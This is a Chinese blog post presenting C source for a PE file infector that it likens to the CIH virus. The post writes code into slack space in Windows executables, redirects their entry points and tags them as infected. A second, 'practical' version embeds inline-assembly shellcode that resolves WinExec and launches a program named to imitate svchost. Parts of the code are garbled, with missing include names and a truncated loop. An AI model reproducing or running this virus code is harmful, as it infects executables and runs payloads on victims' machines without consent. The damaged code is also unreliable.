简单感染PE文件

这个感染方式和win9x时代的CIH病毒感染方式很像。。。

@PandaOS 这个程序的感染标识放在了DOS头中。。。因为DOS头只有MZ和最后一个指向PE头的指针很重要,改了就完蛋了。。。别的几乎用不到 所以修改DOS头的话,只要不修改首尾字段,几乎不会影响程序的运行。 源程序 感染后的 感染前程序的入口 感染后程序的入口 只要搜索节中的空隙,然后将代码分成几块,分别插入进去,运行的时候再用jmp链接起来,就可以实现被感染的文件与源文件的大小相同。因为PE文件会有很多的空隙。如果一个地方的空隙很大,比你要插入的代码都大,你可以直接插入进去了。。。(大小相同并不是对所有可执行文件而言的!) 写的很烂,大神勿喷

#include   
#include   
#include   
#define pause system("pause")  
int FPeFile(char *PeFileName)  
{  HANDLE hFile;  HANDLE hMap;  PIMAGE_DOS_HEADER pDosHeader;  PIMAGE_NT_HEADERS pNtHeader;  PIMAGE_SECTION_HEADER pSec;  PIMAGE_OPTIONAL_HEADER pOptionalHeader;  DWORD word=0;  char *pBuf;  short Sec;  int size;  unsigned char INT3=0xcc;  unsigned char retn=0xc3;  unsigned char Nop=0x90;  hFile=CreateFileA(  PeFileName,  GENERIC_READ|  GENERIC_WRITE,  FILE_SHARE_READ|  FILE_SHARE_WRITE,  NULL,  OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL,  NULL);  if(hFile==INVALID_HANDLE_VALUE)  {  printf("打开文件失败!错误号:%d\n",GetLastError());  pause;  return 0;  }  size=GetFileSize(hFile,0);  hMap=CreateFileMappingA(  hFile,  NULL,  PAGE_READWRITE,  0,  size,  NULL);  if(hMap==INVALID_HANDLE_VALUE)  {  
Err:  CloseHandle(hFile);  printf("映射文件失败!\n");  pause;  return 0;  }  pBuf=(char*)MapViewOfFile(hMap,  FILE_MAP_WRITE|  FILE_MAP_READ,  0,  0,  size);  if(!pBuf)  {  CloseHandle(hFile);  goto Err;  }  pDosHeader=(PIMAGE_DOS_HEADER)pBuf;  pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];  pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader;  if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)  {  
NotPe:  printf("不是有效的PE文件!\n");  goto Clean;  }  if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)  goto NotPe;  if(pDosHeader->e_ovno==0x2308)  {  /* 已经被感染了 */  printf("这个程序已经被感染了!\n");  goto Clean;  }  Sec=pNtHeader->FileHeader.NumberOfSections;  pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader->  e_lfanew];  for(int i=0;iSizeOfRawData-pSec->Misc.VirtualSize;  py=pSec->PointerToRawData+pSec->Misc.VirtualSize;  VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize;  if(Empty<=0)  {  pSec++;  continue;  }  if(Empty<(6+sizeof(Code)))  {  pSec++;  continue;  }  OEP=pOptionalHeader->AddressOfEntryPoint;  printf("区段名:%s\t文件偏移:%xH\t空白字节大小:%xH\t相对虚拟地址:%xH\n",pSec->Name,  py,Empty,VAddress);  /* 跳回源程序OEP */  /* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */  NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+sizeof(Code))-5;/* 获取感染后程序的OEP */  pOptionalHeader->AddressOfEntryPoint=VAddress;  SetFilePointer(hFile,py,NULL,FILE_BEGIN);  /* 将信息写入到空白字节中 */  if(WriteFile(hFile,Code,sizeof(Code),&word,NULL))  {  WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL);  WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL);  /* 标识 */  WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL);  pDosHeader->e_ovno=0x2308;  printf("源程序OEP:%xH\t感染后OEP:%xH\n",OEP,pOptionalHeader->AddressOfEntryPoint);  break;  }  pSec++;  }  goto Clean;  
Clean:  UnmapViewOfFile(pBuf);  CloseHandle(hMap);  CloseHandle(hFile);  pause;  return 0;  
}  
int main(int argc,char *argv[])  
{  if(argc<2)  return 0;  FPeFile(argv[1]);  return 0;  
}  
经过我的小小的修改,可实用化:

// PEInject.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include   
#include   
#include 
#define pause system("pause")int dumpCode(unsigned char*buffer)
{goto END ;//略过汇编代码
BEGIN:__asm{//在这里定义任意的合法汇编代码mov eax, dword ptr fs:[0x30];  mov eax, dword ptr [eax+0xC];  mov eax, dword ptr [eax+0xC];  mov eax, dword ptr [eax];  mov eax, dword ptr [eax];  mov eax, dword ptr [eax+0x18];  mov ebp,eax                        //Kernel.dll基址  mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部  mov edx,dword ptr ds:[eax+ebp+78H]  //  add edx,ebp                        // edx=引出表地址  mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions  mov ebx,dword ptr ds:[edx+20H]      //  add ebx,ebp                        // ebx=函数名地址,AddressOfName  
start:                                  //  dec ecx                            // 循环的开始  mov esi,dword ptr ds:[ebx+ecx*4]   //  add esi,ebp                        //  mov eax,0x50746547                   //  cmp dword ptr ds:[esi],eax         // 比较PteG  jnz start                     //  mov eax,0x41636F72                   //  cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress  jnz start                     //  mov ebx,dword ptr ds:[edx+24H]      //  add ebx,ebp                        //  mov cx,word ptr ds:[ebx+ecx*2]     //  mov ebx,dword ptr ds:[edx+1CH]      //  add ebx,ebp                        //  mov eax,dword ptr ds:[ebx+ecx*4]   //  add eax,ebp                        // eax 现在是GetProcAddress地址  mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用  push 0                             //  push 0x636578                        //  push 0x456E6957                      // 构造WinExec字符串  push esp                           //  push ebp                           // ebp是kernel32.dll的基址   call ebx                           // 用GetProcAdress得到WinExec地址  mov ebx,eax                        // WinExec地址保存到ecx  push 0x00006578push 0x652e7473push 0x6f686376push 0x735c6563push 0x69767265push 0x53207466push 0x6f736f72push 0x63694d5cpush 0x73656c69push 0x46206d61push 0x72676f72push 0x505c3a43    //字符串压入栈  lea eax,[esp];     //取到cmd首地址  push 1             //  push eax           // ASCII "C:\Program Files\Microsoft Service\svchost.exe"  call ebx           // 执行WinExecnopnopnopnop// leave            // 跳回原始入口点  }
END://确定代码范围UINT begin,end;__asm{mov eax,BEGIN ;mov begin,eax ;mov eax,END ;mov end,eax ;}//输出int len=end-begin;memcpy(buffer,(void*)begin,len);//四字节对齐int fill=(len-len%4)%4;while(fill--)buffer[len+fill]=0x90;//返回长度return len+fill;
}int FPeFile(char *PeFileName, unsigned char* shellcode, int shellcodelen)  
{  HANDLE hFile;  HANDLE hMap;  PIMAGE_DOS_HEADER pDosHeader;  PIMAGE_NT_HEADERS pNtHeader;  PIMAGE_SECTION_HEADER pSec;  PIMAGE_OPTIONAL_HEADER pOptionalHeader;  DWORD word=0;  char *pBuf;  short Sec;  int size;  unsigned char INT3=0xcc;  unsigned char retn=0xc3;  unsigned char Nop=0x90;  hFile=CreateFileA(  PeFileName,  GENERIC_READ|  GENERIC_WRITE,  FILE_SHARE_READ|  FILE_SHARE_WRITE,  NULL,  OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL,  NULL);  if(hFile==INVALID_HANDLE_VALUE)  {  printf("打开文件失败!错误号:%d\n",GetLastError());  pause;  return 0;  }  size=GetFileSize(hFile,0);  hMap=CreateFileMappingA(  hFile,  NULL,  PAGE_READWRITE,  0,  size,  NULL);  if(hMap==INVALID_HANDLE_VALUE)  {  
Err:  CloseHandle(hFile);  printf("映射文件失败!\n");  pause;  return 0;  }  pBuf=(char*)MapViewOfFile(hMap,  FILE_MAP_WRITE|  FILE_MAP_READ,  0,  0,  size);  if(!pBuf)  {  CloseHandle(hFile);  goto Err;  }  pDosHeader=(PIMAGE_DOS_HEADER)pBuf;  pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];  pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader;  if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)  {  
NotPe:  printf("不是有效的PE文件!\n");  goto Clean;  }  if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)  goto NotPe;  if(pDosHeader->e_ovno==0x2308)  {  /* 已经被感染了 */  printf("这个程序已经被感染了!\n");  goto Clean;  }  Sec=pNtHeader->FileHeader.NumberOfSections;  pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader->  e_lfanew];  for(int i=0;iSizeOfRawData-pSec->Misc.VirtualSize;  py=pSec->PointerToRawData+pSec->Misc.VirtualSize;  VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize;  if(Empty<=0)  {  pSec++;  continue;  }  if(Empty<(6+sizeof(Code)))  {  pSec++;  continue;  }  OEP=pOptionalHeader->AddressOfEntryPoint;  printf("区段名:%s\t文件偏移:%xH\t空白字节大小:%xH\t相对虚拟地址:%xH\n",pSec->Name,  py,Empty,VAddress);  /* 跳回源程序OEP */  /* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */  NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+shellcodelen)-5;/* 获取感染后程序的OEP */  pOptionalHeader->AddressOfEntryPoint=VAddress;  SetFilePointer(hFile,py,NULL,FILE_BEGIN);  /* 将信息写入到空白字节中 */  if(WriteFile(hFile, shellcode, shellcodelen, &word, NULL))  {  WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL);  WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL);  /* 标识 */  //WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL);  pDosHeader->e_ovno=0x2308;  printf("源程序OEP:%xH\t感染后OEP:%xH\n",OEP,pOptionalHeader->AddressOfEntryPoint);  break;  }  pSec++;  }  goto Clean;  
Clean:  UnmapViewOfFile(pBuf);  CloseHandle(hMap);  CloseHandle(hFile);  pause;  return 0;  
}  
int main(int argc,char *argv[])  
{unsigned char buffer[1024] ={0};int len  = dumpCode(buffer);unsigned char shellcodebuffer[1024] ={0};shellcodebuffer[0] = 0x60;memcpy(shellcodebuffer+1, buffer,len);shellcodebuffer[len+1] = 0x61;if(argc<2)  return 0;  FPeFile(argv[1], shellcodebuffer, len+2);  return 0;  
}  




本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部